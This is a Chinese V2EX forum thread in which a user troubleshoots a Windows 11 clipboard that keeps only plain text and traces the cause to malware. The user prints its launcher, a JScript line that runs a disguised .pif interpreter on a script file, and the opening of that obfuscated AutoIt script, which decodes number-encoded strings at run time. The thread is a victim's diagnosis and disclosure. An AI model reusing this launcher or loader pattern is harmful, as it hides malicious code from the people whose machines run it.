Windows 11 的剪贴板只能保存纯文本信息,很多复杂的富文本信息, HTML 信息无法保存,求助原因和解决办法

57 天前
 tan9p

RT , 这个帖子中,我提到 Office 只能粘贴纯文本内容,经过测试发现是 Window 的剪贴板就已经把其他的信息丢失掉了。 https://v2ex.com/t/1075494

我用 ClipboardViewer 这个工具,观察了复制后的剪贴板内容。 在粘贴正常的机器上,显示的结果是: Rich Text Format HTML Format Text UnicodeText SystemString 内容非常丰富. 因为内容比较多,这里就不粘贴内容了。 但在故障的机器上,显示的结果只有: Text UnicodeText SystemString 内容就只有纯文本. Clipboard DataObject Type: System.Windows.DataObject


The following data formats are present in the data object obtained from the clipboard: - Text (native) - UnicodeText (native) - System.String (autoconvertable) - Locale (native) - OEMText (native)


Text data:


UnicodeText data:


System.String data:


Locale data:


OEMText data:

所以我推断,是 Windows 11 的剪贴板服务出了问题.在网上也搜到一篇同样症状的。https://bbs.pcbeta.com/viewthread-1904174-1-1.html

想问下经验丰富的大虾,这种剪贴板的功能受限,是什么原因导致的?以及它的解决办法.谢谢啦!

1386 次点击
所在节点    Windows
10 条回复
ntedshen
57 天前
组策略里搜索剪贴板看看哪个被启用了?印象里 wd 和 ie 里面都有相关的设置,但是工作方法不确定。。。
tan9p
56 天前
@ntedshen 感谢关注,能说的详细点吗?我在组策略中没有找到和剪贴板有关的内容。
flynaj
56 天前
win+v 看一下设置是不是没有启用
ntedshen
56 天前
@tan9p 筛选器选项的关键字筛选里直接敲剪贴板。。。
tan9p
56 天前
@ntedshen 谢谢您的回复,
@flynaj
tan9p
56 天前
@flynaj 启用啦,可以复制粘贴的,但是只能粘贴纯文本。
billccn
56 天前
多媒体剪贴板是上个世纪就有的远古 API ,不会依赖什么服务的,那个服务只不过是让你用 Win+V 的时候有个历史而已。

我觉得你这个现象就是原帖子里讲的有其他程序在监视剪贴板,然后把内容替换了。你可以写个程序看看是哪个进程: https://stackoverflow.com/a/3412830
tan9p
56 天前
@billccn 谢谢您的关注,我按照您的思路排查一下。
但是我用 clipboardview 里看,已经没有附加的信息了。能把改写剪贴板的程序找出来吗?
tan9p
56 天前
初步排查是 Lenovo Hotkeys 这个自启动程序导致的,但是我查不到这个程序的位置,不知道是那个程序引入的。
tan9p
46 天前
今天发现不是上述 Lenovo HotKey 造成的.之所以造成这样的误解,是因为我取消程序的启动项后,重启测试发现粘贴行为正常,就以为是取消启动项修复了这个问题。
事实上不然,刚开机时粘贴的行为是正常的,过一段时间后粘贴行为就不正常了,是因为造成异常的程序还没来得及启动,造成了修复问题的假象.
造成粘贴行为异常的是一个名叫 jsc.exe 的程序.
它通过计划任务通过 js 程序启动.
有问题的文件夹是:AppData\Local\ProtezioneDati Inc\
里面有:Proteggi.js 、E 、jsc.exe 和 Proteggi.pif 四个文件.
Proteggi.js 里面就一句:
`new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\Proteggi.pif\" \"C:\\Users\\tan9p\\AppData\\Local\\ProtezioneDati Inc\\E\"")`
E 的内容很长,开头如:
```
$EagleConcluded = 36
$LauderdaleVeterinary = 98
While 674
If $EagleConcluded = 35 Then
PixelGetColor(DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6), DefinitionHierarchy("83X101X116X116X105X110X103X94X84X101X101X116X104X94",0/6))
ConsoleWriteError(DefinitionHierarchy("99X97X98X105X110X101X116X47X104X105X110X100X117X47X115X111X108X100X105X101X114X47",0/4))
Sqrt(2585)
$EagleConcluded = $EagleConcluded + 1
EndIf
```
并没有 jsc.exe 字段,不知道是如何运行 jsc.exe 的.

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1075706

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX